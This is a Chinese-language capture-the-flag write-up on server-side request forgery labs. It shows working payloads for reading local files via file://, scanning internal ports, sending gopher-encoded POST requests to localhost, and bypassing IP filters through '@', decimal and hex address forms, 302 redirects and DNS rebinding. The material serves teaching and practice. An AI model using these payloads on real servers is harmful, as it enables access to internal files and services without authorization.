SSRT(Server-Side Request Forgery,服务器端请求伪造),就是攻击者利用服务器能访问其他的服务器的功能,通过自己的构造服务器请求来攻击与外界不相连接的内网,我们知道内网与外网是不相通的,所以利用这一个特性,就可以利用存在缺陷的WEB应用作为代理 攻击远程 和 本地的服务器。
通常造成这个漏洞的原因就是运维人员没有对web请求进行过滤和筛选处理,举个例子:以WEB服务器作为跳板进行攻击内网,当然还有其他的攻击,由于个人知识不足无法讲解。
直接构造:,即可拿到flag.
/?url=http://127.0.0.1/flag.php
file:// 协议
作用:
用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。
http/s协议
作用:
探测内网主机存活
dict协议
作用:
泄露安装软件版本信息,查看端口,操作内网redis服务等
Gopher协议
作用:
Gopher协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。
在这里我们直接构造(WEB常用的本地地址):
/?url=file:///var/www/html/flag.php
题目有提醒我们端口是8000-9000,根据往常经验,而且不会写脚本+BS只能开一个线程,我直接从8400多开始扫描。
1.抓包之后,然后发到intruder,构造直接开始扫描,发现返回的长度不一样就是那一个端口,直接构造结课拿到flag。(我截图的时候没往下翻。)
打开目录发现还是和之前的目录一样,既然如此根据题目提示这次是发一个HTTP POST请求。对了,ssrf是用php的curl实现的。并且会跟踪302跳转,我准备了一个302.php,可能对你有用哦。 可能文件放到了一个网页的目录之下,所以我们直接使用disrearch进行扫描,发现目录直线有flag.php和index.php(放置网页源码地方)
构造,查看源码。
/?url=var/www/html/index.php
构造,查看flag.php文件
/?url=var/www/html/flag.php
告诉我们需要从127.0.0.1去访问,我们继续访问,
拿到KEY,这个题目因该就是告诉我需要给服务器发送一个KEY就能得到你想要的东西。但是页面上又什么都没有,这就需要我们构建一个POST请求包来发送这个KEY。
POST包的最基本的要求如下:
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=00f001523d0b955749ea5e3b0ca09b5f
Content-Length: 36就是你需要发送的信息的长度,然后就可以开始编码了,但是要进行几次编码呢?取决于你的请求次数
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2036%0A%0Akey=00f001523d0b955749ea5e3b0ca09b5f
然后把并把%0A替换成%0d%0A,结尾加上%0d%0A,并且末尾要加上%0d%0a(\r\n)
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2036%0d%0A%0d%0Akey=00f001523d0b955749ea5e3b0ca09b5f%0d%0a
再进行一次URL编码
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost:%2520127.0.0.1:80%250d%250AContent-Type:%2520application/x-www-form-urlencoded%250d%250AContent-Length:%252036%250d%250A%250d%250Akey=00f001523d0b955749ea5e3b0ca09b5f%250d%250a
这篇文章写的相当的详细,CGI 和 FastCGI 协议的运行原理.
点开发现页面什么都没有,还是和以前一样先试一试常规输入,出现404,
既然是FastCGI,接下来,我们使用 Gopherus.工具生成攻击FastCGI的payload。
安装工具
不知道为什么蚁剑一直连不上
题目给出以下提示:
通过前面的经验直接127.0.0.1/flag.php看看有什么东西,发现又弹出一个**“JUST VIEW FROM 127.0.0.1”**,题目这什么意思又要这个又要那个,所以我们进行构造以下这个,它的效果与http://127.0.0.1/flag.php相同。
用@实现绕过,构造:即可拿到flag。
/?url=http://[email protected]/flag.php
开始尝试了127.0.0.1/flag.php但是有提示**“Hack ban Intranet IP”**,既然是数字绕过,我们可以把127.0.0.1转化为其他的形式进行绕过。
127.0.0.1–>localhost
127.0.0.1–>7F000001 十六进制
127.0.0.1–>2130706433 十进制
127.0.0.1–>2130706433 Enclosed Alphanumerics
即可实现绕过。
题目描述:SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧!
这道题绕过的方式有很多,这里先讲讲302跳转,302跳转就是由一个URL跳转到另外一个URL当中去,就好比现实生活中的呼叫转移,在网页中比如一个网站的网址更新了,一部分的用户还不知道,就可以使用302跳转,从旧的网址跳转到新的网址上,按照这个思路,我们需要实现另外一种表达方式绕过127.0.0.1/flag/.php。
这道题按照上面的解法,我试了一下进制绕过,好像用的十进制就可以实现127.0.0.1绕过。即要构造
/?url=2130706433/flag.php
DNS重绑定DNS Rebinding攻击在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。这就造成了DNS Rebinding攻击。
放到这个题目的环境上来看,我们使用各种方法想来实现绕过,但是都无法访问,既然如此我们使用DNS重绑定,从DNS域名解析入手,有一个想法就是通过修该域名对应的IP,使一个域名对应两个IP,那么在多次的访问之下产生的访问效果是一样的实现IP绕过。
这里师傅们用的一样用这个链接: NDS Rebinding.实现重绑定。
然后直接使用burpsuite的repeater返包即可。
结束。。。。。。。